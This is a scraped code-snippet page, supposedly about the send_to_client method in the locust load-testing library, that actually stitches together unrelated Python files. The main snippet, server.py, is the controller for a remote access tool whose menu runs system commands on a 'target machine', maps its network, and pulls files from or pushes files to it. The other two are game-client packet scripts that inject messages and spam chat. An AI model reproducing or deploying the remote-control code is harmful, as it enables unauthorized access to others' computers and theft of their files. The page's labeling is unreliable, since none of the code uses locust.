How to use send_to_client method in locust

Best Python code snippet using locust

server.py

Source:server.py Github

copy

Full Screen

...10 print("[+] waiting for incoming connectins")11 self.connection,self.address = server.accept()12 print("[+] we have a connection from "+ str(self.address))13 def command(self,command):14 self.send_to_client(command)15 return self.receive_from_client()16 def menu(self):17 print("---------------------------------------------------------------")18 print("what you want to do?")19 print("1)- pc client information.")20 print("2)- Execution of system commands.")21 print("3)- Give the ip and mac addresses of the machines on the same network of the client.")22 print("4)- Download a client file.")23 print("5)- upload a file to a client pc.")24 print("6)- Close connection with the client.")25 print("Give your choice from 1 to 6.")26 print("Note: To exit from executing system commands, write exit")27 print("---------------------------------------------------------------")28 29 def send_to_client(self,message):30 message_json = json.dumps(message)31 self.connection.send(bytes(message_json,"utf-8")) 32 def receive_from_client(self):33 message = ""34 while True:35 try:36 message = message + self.connection.recv(1024).decode("utf-8")37 return json.loads(message)38 except ValueError:39 continue40 41 def write_file(self,dstpath,content):42 if content != "error":43 with open(dstpath,"w") as file:44 file.write(content)45 return "[+] download successful."46 return "error execution."47 def read_file(self,path):48 with open(path,"r") as file:49 return file.read() 50 51 def start(self):52 while True:53 self.menu()54 choix = input("#")55 self.send_to_client(choix)56 if choix == "1":57 information = self.receive_from_client()58 print("******************************************************")59 print("\t\t[TARGET MACHINE INFO]")60 print("information for this pc: ")61 print(information)62 print("******************************************************")63 elif choix == "2":64 print("******************************************************")65 print("\t\t[EXECUTE SYSTEME COMMAND]")66 while True:67 command = input(">>")68 command = command.split(" ")69 if command[0].lower() != "exit":70 output = self.command(command)71 print(output)72 else:73 self.send_to_client(command)74 print("******************************************************")75 break76 elif choix == "3":77 print("******************************************************")78 print("[DONNER les adresses ip et mac des machines de meme réseau du client]") 79 mask = input("give me subnet mask of target network:")80 ip = self.address[0] + "/" + mask81 self.send_to_client(str(ip))82 output = self.receive_from_client()83 print(output)84 print("******************************************************")85 elif choix == "4":86 print('*************************************************************')87 print('\t\t\t[GET A FILE]')88 path = input("give me path of the file in target machine : ")89 dst_path = input("give me the destination path in your machine: ")90 self.send_to_client(path)91 content_of_file = self.receive_from_client()92 output = self.write_file(dst_path,content_of_file)93 print(output)94 print('*************************************************************')95 elif choix == "5":96 print('*************************************************************')97 print('\t\t\t[PUT A FILE]')98 path = input("give me path of the file in your machine : ")99 dst_path = input("give me the destination path in target machine: ")100 try:101 self.send_to_client(dst_path)102 content_of_file = self.read_file(path)103 self.send_to_client(content_of_file)104 output = self.receive_from_client()105 print(output)106 except:107 self.send_to_client("error")108 output = self.receive_from_client()109 print(output)110 print('*************************************************************')111 elif choix == "6":112 self.connection.close()113 exit()114 115 116 117 118 119 ...

Full Screen

Full Screen

babur.py

Source:babur.py Github

copy

Full Screen

...2324 if text == ':sc':25 message.is_blocked = True26 if on:27 ext.send_to_client('{in:YouArePlayingGame}{b:false}')28 on = False29 print('False')30 else:31 ext.send_to_client('{in:YouArePlayingGame}{b:true}')32 on = True33 print('True')343536 if text == ':komutlar':37 message.is_blocked = True38 if on:39 ext.send_to_client('{in:Whisper}{i:133}{s:"Su anlik kullanabiliceginiz komutlar= :sc (oyun modu) , :q (odadan çıkmak) , :s (spam atmak) , :se (sansur engelleyici) , :bc (babur chat (bosluklu yazmaya yarar.) ) not: ilk yazısınızda komutları iki kez deneyiniz. "}{i:0}{i:34}{i:0}{i:-1}{i:133}')40 on = False41 print('False')42 else:43 ext.send_to_client('{in:Whisper}{i:133}{s:"Su anlik kullanabiliceginiz komutlar= :sc (oyun modu) , :q (odadan çıkmak) , :s (spam atmak) , :se (sansur engelleyici) , :bc (babur chat (bosluklu yazmaya yarar.) ) not: ilk yazısınızda komutları iki kez deneyiniz. "}{i:0}{i:34}{i:0}{i:-1}{i:133}')44 on = True45 print('True')4647 if text == ':q':48 message.is_blocked = True49 if on:50 ext.send_to_server('{out:Quit}')51 on = True52 print('False')53 else:54 ext.send_to_client('{out:Quit}')55 on = True56 print('True')575859 if text == ':s':60 message.is_blocked = True61 if on:62 ext.send_to_server('{out:Chat}{s:"¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬"}{i:0}{i:0}')63 ext.send_to_server('{out:Chat}{s:"¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬"}{i:0}{i:0}')64 on = True65 print('True')66 else:67 ext.send_to_client('{out:Chat}{s:"¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬"}{i:0}{i:0}')68 on = True69 print('True')7071727374 if text == ':hc':75 message.is_blocked = True76 if on:77 ext.send_to_server('{out:NewUserExperienceGetGifts}{i:1}{i:1}{i:1}')78 on = True79 print('True')80 else:81 ext.send_to_client('{out:NewUserExperienceGetGifts}{i:1}{i:1}{i:1}')82 on = True83 print('True')848586878889ext.intercept(Direction.TO_SERVER, speech, 'Chat')9091# {in:YouArePlayingGame}{b:true}9293# {in:Whisper}{i:133}{s:" Su anlik kullanabiliceginiz komutlar: !sc (oyun modu) , !q (odadan cıkma) "}{i:0}{i:34}{i:0}{i:-1}{i:133}9495#{in:Whisper}{i:133}{s:"anlik olarak odadan ciktiniz. "}{i:0}{i:34}{i:0}{i:-1}{i:133} ...

Full Screen

Full Screen

Hide Furni.py

Source:Hide Furni.py Github

copy

Full Screen

...20def furni(message):21 if on:22 global stock_packet23 (idd, p1, x, y, p2, p3, p4, p5, p6, p7, p8, p9, p10) = message.packet.read("iiiiissiisiii")24 ext.send_to_client('{l}{h:3776}{i:'+str(idd)+'}{i:3311}{i:'+str(x)+'}{i:'+str(y)+'}{i:2}{s:"60.0"}{s:"1.0"}{i:1}{i:0}{s:"0"}{i:-1}{i:1}{i:1257657231}')25 ext.send_to_client('{l}{h:1446}{i:0}{s:"Furni with id: "'+str(idd)+'" hidden"}{i:0}{i:1}{i:0}{i:0}')26 stock_packet.insert(0, [idd, p1, x, y, p2, p3, p4, p5, p6, p7, p8, p9, p10])272829def roll():30 pack = '{l}{h:3776}'31 for i in range(0, len(stock_packet[0])):32 if isinstance(stock_packet[0][i], str):33 pack += '{s:"' + stock_packet[0][i] + '"}'34 else:35 pack += '{i:' + str(stock_packet[0][i]) + '}'36 ext.send_to_client(pack)37 del stock_packet[0]383940def speech(message):41 global on42 (text, color, index) = message.packet.read('sii')4344 if text.startswith(":rollback "):45 message.is_blocked = True46 countt = 047 try:48 arg = int(text[10:])49 except ValueError:50 return ext.send_to_client('{l}{h:1446}{i:0}{s:"[ Hide furni => Only number available ]"}{i:0}{i:1}{i:0}{i:0}')51 for i in range(arg):52 if stock_packet:53 roll()54 countt += 155 else:56 break57 ext.send_to_client('{l}{h:1446}{i:0}{s:"[ Hide furni => Rollback '+str(countt)+' furni ]"}{i:0}{i:1}{i:0}{i:0}')5859 if text == ":rollback":60 message.is_blocked = True61 if stock_packet:62 roll()63 ext.send_to_client('{l}{h:1446}{i:0}{s:"[ Hide furni => Rollback 1 furni ]"}{i:0}{i:1}{i:0}{i:0}')64 else:65 ext.send_to_client('{l}{h:1446}{i:0}{s:"[ Hide furni => No furni found ]"}{i:0}{i:1}{i:0}{i:0}')6667 if text == ":hide on":68 message.is_blocked = True69 if on:70 ext.send_to_client('{l}{h:1446}{i:0}{s:"[ Hide furni => Already on ]"}{i:0}{i:1}{i:0}{i:0}')71 else:72 on = True73 ext.send_to_client('{l}{h:1446}{i:0}{s:"[ Hide furni => On ]"}{i:0}{i:1}{i:0}{i:0}')7475 if text == ":hide off":76 message.is_blocked = True77 if not on:78 ext.send_to_client('{l}{h:1446}{i:0}{s:"[ Hide furni => Already off ]"}{i:0}{i:1}{i:0}{i:0}')79 else:80 on = False81 ext.send_to_client('{l}{h:1446}{i:0}{s:"[ Hide furni => Off ]"}{i:0}{i:1}{i:0}{i:0}')828384ext.intercept(Direction.TO_CLIENT, furni, 3776) ...

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run locust automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful